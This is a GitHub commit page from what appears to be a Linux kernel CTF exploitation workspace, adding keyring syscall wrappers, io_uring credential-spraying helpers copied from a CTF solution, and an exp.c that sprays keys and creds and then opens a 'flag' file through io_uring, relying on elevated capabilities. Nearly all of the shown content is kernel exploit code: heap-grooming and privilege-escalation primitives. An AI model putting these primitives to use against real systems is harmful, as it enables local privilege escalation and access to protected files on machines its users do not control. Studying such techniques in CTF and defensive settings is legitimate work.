Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Sign up
Appearance settings

Commit d879f40

Browse files
author
v1me
committed
add cred io_uring libkeyring
1 parent 344c4a5 commit d879f40

File tree

8 files changed

+1283
-8
lines changed

8 files changed

+1283
-8
lines changed

‎corescripts/exp.sh‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,7 @@ BASEDIR=$(dirname "0ドル")
77
path=$BASEDIR/../pwn
88
exp_path=$BASEDIR/../exp
99
$BASEDIR/uncpio.sh
10-
gcc $exp_path/exp.c $exp_path/banzi.c -static -lkeyutils -lpthread -luring -g -o $exp_path/exp
10+
gcc $exp_path/exp.c $exp_path/banzi.c $exp_path/cred.c $exp_path/io_uring.c -static -lpthread -g -o $exp_path/exp
1111
cp $exp_path/exp $path/core
1212
cp $path/init $path/core
1313
# cp $path/corescript/tools/* $path/core

‎exp/banzi.c‎

Lines changed: 29 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -357,6 +357,35 @@ static void *userfault_handler_example(void *arg) {
357357
* https://syst3mfailure.io/corjail
358358
*/
359359

360+
static long keyctl(int cmd, ...) {
361+
va_list va;
362+
va_start(va, cmd);
363+
unsigned long arg2 = va_arg(va, unsigned long);
364+
unsigned long arg3 = va_arg(va, unsigned long);
365+
unsigned long arg4 = va_arg(va, unsigned long);
366+
unsigned long arg5 = va_arg(va, unsigned long);
367+
va_end(va);
368+
return syscall(__NR_keyctl, cmd, arg2, arg3, arg4, arg5);
369+
}
370+
371+
long keyctl_revoke(key_serial_t id) {
372+
return keyctl(KEYCTL_REVOKE, id);
373+
}
374+
375+
long keyctl_unlink(key_serial_t key, key_serial_t keyring) {
376+
return keyctl(KEYCTL_UNLINK, key, keyring);
377+
}
378+
379+
key_serial_t add_key(const char* type, const char* description, const void* payload,
380+
size_t payload_length, key_serial_t ring_id) {
381+
return syscall(__NR_add_key, type, description, payload, payload_length, ring_id);
382+
}
383+
384+
long keyctl_read(key_serial_t key, char *buffer, size_t buflen) {
385+
return syscall(__NR_keyctl, KEYCTL_READ, key, buffer, buflen);
386+
}
387+
388+
360389
int alloc_key(int id, char *buff, size_t size) {
361390
char desc[256] = {0};
362391
char *payload;

‎exp/banzi.h‎

Lines changed: 57 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,6 @@
66
#include <errno.h>
77
#include <fcntl.h>
88
#include <inttypes.h>
9-
#include <keyutils.h>
109
#include <linux/userfaultfd.h>
1110
#include <poll.h>
1211
#include <pthread.h>
@@ -27,6 +26,7 @@
2726
#include <sys/wait.h>
2827
#include <sys/xattr.h>
2928
#include <unistd.h>
29+
#include <stdarg.h>
3030

3131
#define errExit(msg) \
3232
do { \
@@ -149,8 +149,64 @@ uint64_t register_userfault(uint64_t fault_page, uint64_t fault_page_len, uint64
149149
/*
150150
* add_key 相关
151151
* https://syst3mfailure.io/corjail
152+
* https://github.com/veritas501/CVE-2022-34918/blob/master/poc_keyring_normal/include/keyring.h
152153
*/
153154

155+
#define KEY_SPEC_THREAD_KEYRING -1 /* - key ID for thread-specific keyring */
156+
#define KEY_SPEC_PROCESS_KEYRING -2 /* - key ID for process-specific keyring */
157+
#define KEY_SPEC_SESSION_KEYRING -3 /* - key ID for session-specific keyring */
158+
#define KEY_SPEC_USER_KEYRING -4 /* - key ID for UID-specific keyring */
159+
#define KEY_SPEC_USER_SESSION_KEYRING -5 /* - key ID for UID-session keyring */
160+
#define KEY_SPEC_GROUP_KEYRING -6 /* - key ID for GID-specific keyring */
161+
#define KEY_SPEC_REQKEY_AUTH_KEY -7 /* - key ID for assumed request_key auth key */
162+
#define KEY_SPEC_REQUESTOR_KEYRING -8 /* - key ID for request_key() dest keyring */
163+
164+
/* request-key default keyrings */
165+
#define KEY_REQKEY_DEFL_NO_CHANGE -1
166+
#define KEY_REQKEY_DEFL_DEFAULT 0
167+
#define KEY_REQKEY_DEFL_THREAD_KEYRING 1
168+
#define KEY_REQKEY_DEFL_PROCESS_KEYRING 2
169+
#define KEY_REQKEY_DEFL_SESSION_KEYRING 3
170+
#define KEY_REQKEY_DEFL_USER_KEYRING 4
171+
#define KEY_REQKEY_DEFL_USER_SESSION_KEYRING 5
172+
#define KEY_REQKEY_DEFL_GROUP_KEYRING 6
173+
#define KEY_REQKEY_DEFL_REQUESTOR_KEYRING 7
174+
175+
/* keyctl commands */
176+
#define KEYCTL_GET_KEYRING_ID 0 /* ask for a keyring's ID */
177+
#define KEYCTL_JOIN_SESSION_KEYRING 1 /* join or start named session keyring */
178+
#define KEYCTL_UPDATE 2 /* update a key */
179+
#define KEYCTL_REVOKE 3 /* revoke a key */
180+
#define KEYCTL_CHOWN 4 /* set ownership of a key */
181+
#define KEYCTL_SETPERM 5 /* set perms on a key */
182+
#define KEYCTL_DESCRIBE 6 /* describe a key */
183+
#define KEYCTL_CLEAR 7 /* clear contents of a keyring */
184+
#define KEYCTL_LINK 8 /* link a key into a keyring */
185+
#define KEYCTL_UNLINK 9 /* unlink a key from a keyring */
186+
#define KEYCTL_SEARCH 10 /* search for a key in a keyring */
187+
#define KEYCTL_READ 11 /* read a key or keyring's contents */
188+
#define KEYCTL_INSTANTIATE 12 /* instantiate a partially constructed key */
189+
#define KEYCTL_NEGATE 13 /* negate a partially constructed key */
190+
#define KEYCTL_SET_REQKEY_KEYRING 14 /* set default request-key keyring */
191+
#define KEYCTL_SET_TIMEOUT 15 /* set key timeout */
192+
#define KEYCTL_ASSUME_AUTHORITY 16 /* assume request_key() authorisation */
193+
#define KEYCTL_GET_SECURITY 17 /* get key security label */
194+
#define KEYCTL_SESSION_TO_PARENT 18 /* apply session keyring to parent process */
195+
196+
typedef int32_t key_serial_t;
197+
198+
static long keyctl(int cmd, ...);
199+
200+
long keyctl_revoke(key_serial_t id);
201+
202+
long keyctl_unlink(key_serial_t key, key_serial_t keyring);
203+
204+
long keyctl_read(key_serial_t key, char *buffer, size_t buflen);
205+
206+
key_serial_t add_key(const char* type, const char* description, const void* payload,
207+
size_t payload_length, key_serial_t ring_id);
208+
209+
154210
struct rcu_head {
155211
void *next;
156212
void *func;

‎exp/cred.c‎

Lines changed: 50 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,50 @@
1+
/**
2+
* Copied from https://github.com/zer0pts/zer0pts-ctf-2023-public/tree/master/pwn/flipper/solution
3+
*/
4+
5+
#include <unistd.h>
6+
#include <sys/syscall.h>
7+
#include <linux/capability.h>
8+
#include "io_uring.h"
9+
#include "cred.h"
10+
11+
#include <stdio.h>
12+
#include <stdlib.h>
13+
#include <stdnoreturn.h>
14+
15+
static noreturn void fatal(const char *msg)
16+
{
17+
perror(msg);
18+
exit(EXIT_FAILURE);
19+
}
20+
21+
void delete_n_creds(int uring_fd, size_t n_creds)
22+
{
23+
for (size_t i = 0; i < n_creds; i++) {
24+
if (syscall(SYS_io_uring_register, uring_fd, IORING_UNREGISTER_PERSONALITY, NULL, i + 1) < 0)
25+
fatal("io_uring_register() failed");
26+
}
27+
}
28+
29+
void alloc_n_creds(int uring_fd, size_t n_creds)
30+
{
31+
for (size_t i = 0; i < n_creds; i++) {
32+
struct __user_cap_header_struct cap_hdr = {
33+
.pid = 0,
34+
.version = _LINUX_CAPABILITY_VERSION_3
35+
};
36+
37+
struct user_cap_data_struct cap_data[2] = {
38+
{.effective = 0, .inheritable = 0, .permitted = 0},
39+
{.effective = 0, .inheritable = 0, .permitted = 0}
40+
};
41+
42+
/* allocate new cred */
43+
if (syscall(SYS_capset, &cap_hdr, (void *)cap_data))
44+
fatal("capset() failed");
45+
46+
/* increment refcount so we don't free it afterwards*/
47+
if (syscall(SYS_io_uring_register, uring_fd, IORING_REGISTER_PERSONALITY, 0, 0) < 0)
48+
fatal("io_uring_register() failed");
49+
}
50+
}

‎exp/cred.h‎

Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
#ifndef CRED_H
2+
#define CRED_H
3+
4+
#include <stdint.h>
5+
6+
struct user_cap_data_struct {
7+
uint32_t effective;
8+
uint32_t permitted;
9+
uint32_t inheritable;
10+
};
11+
12+
void alloc_n_creds(int uring_fd, size_t n_creds);
13+
void delete_n_creds(int uring_fd, size_t n_creds);
14+
15+
#endif // CRED_H

‎exp/exp.c‎

Lines changed: 29 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -1,15 +1,38 @@
11
#include "banzi.h"
2-
#include <liburing.h>
2+
#include "io_uring.h"
3+
#include "cred.h"
34

45
void do_exploit() {
5-
struct io_uring ring;
6-
io_uring_queue_init(256, &ring, IORING_SETUP_IOPOLL);
7-
struct io_uring_sqe * sqe;
8-
struct io_uring_cqe * cqe;
6+
for (int i = 0; i < 0x20; i++) {
7+
alloc_key(i, "A", 1);
8+
}
99

10-
sqe = io_uring_get_sqe(&ring);
10+
for (int i = 0; i < 0x20; i++) {
11+
free_key(i);
12+
}
1113
}
1214

15+
void do_exploit1() {
16+
struct submitter uring_cred;
17+
app_setup_uring(&uring_cred, 0x80);
18+
alloc_n_creds(uring_cred.ring_fd, 0xffff);
19+
20+
struct io_uring_sqe sqe;
21+
memset(&sqe, 0, sizeof(sqe));
22+
sqe.opcode = IORING_OP_OPENAT;
23+
sqe.fd = rootfd;
24+
sqe.addr = (__u64)"flag";
25+
sqe.open_flags = O_RDWR; // we're using CAP_DAC_OVERRIDE, file permissions don't matter
26+
sqe.len = 0;
27+
sqe.file_index = 0;
28+
29+
int reaped_success = 0, reap_cnt = 0, flag_fd;
30+
submit_to_sq(&uring_cred, &sqe, 1, 1);
31+
read_from_cq(&uring_cred, false, &reaped_success, &flag_fd);
32+
}
33+
34+
1335
int main() {
1436
do_exploit();
37+
do_exploit1();
1538
}

0 commit comments

Comments
(0)

AltStyle によって変換されたページ (->オリジナル) /